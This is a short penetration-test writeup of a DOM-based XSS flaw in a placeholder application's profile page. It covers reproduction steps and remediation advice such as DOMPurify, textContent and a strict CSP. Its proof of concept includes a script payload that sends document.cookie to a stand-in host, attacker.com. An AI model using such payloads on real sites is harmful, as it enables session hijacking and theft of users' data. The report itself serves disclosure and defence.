Penetration Testing Writeup: DOM-Based XSS Vulnerability

Executive Summary

A DOM-Based Cross-Site Scripting (XSS) vulnerability was identified in [Target Application]’s client-side JavaScript code during a recent penetration test. This vulnerability allows attackers to manipulate the DOM to execute malicious scripts, potentially compromising user sessions or stealing sensitive data. This report provides details, proof of concept, and remediation strategies.

Vulnerability Details

Description

The profile page uses JavaScript to parse the URL fragment (#username) and directly inserts it into the DOM without sanitization. This allows attackers to inject malicious scripts via the URL, which execute in the victim’s browser.

Impact

Proof of Concept

  1. Navigate to: https://[target-application]/profile#username=<script>alert('DOM XSS');</script>.
  2. Observe an alert box with the message "DOM XSS".
  3. A malicious payload: #username=<script>fetch('https://attacker.com/steal?data='+document.cookie);</script>.

Steps to Reproduce

  1. Open https://[target-application]/profile.
  2. Append #username=<script>alert('DOM XSS');</script> to the URL.
  3. Load the URL and verify the alert appears.

Remediation Recommendations

  1. Sanitize DOM Inputs:
    • Use libraries like DOMPurify to sanitize inputs before DOM insertion.
  2. Avoid Direct DOM Manipulation:
    • Refrain from using innerHTML or similar methods; use textContent instead.
  3. Content Security Policy (CSP):
    • Apply a strict CSP: Content-Security-Policy: script-src 'self';.
  4. Code Review:
    • Review client-side scripts to ensure safe handling of URL fragments.
  5. Security Testing:
    • Perform regular testing to identify DOM-based XSS issues.

Conclusion

The DOM-Based XSS vulnerability in [Target Application] poses a significant risk. Immediate remediation is necessary to protect users and ensure application security.

References

DOM XSS Example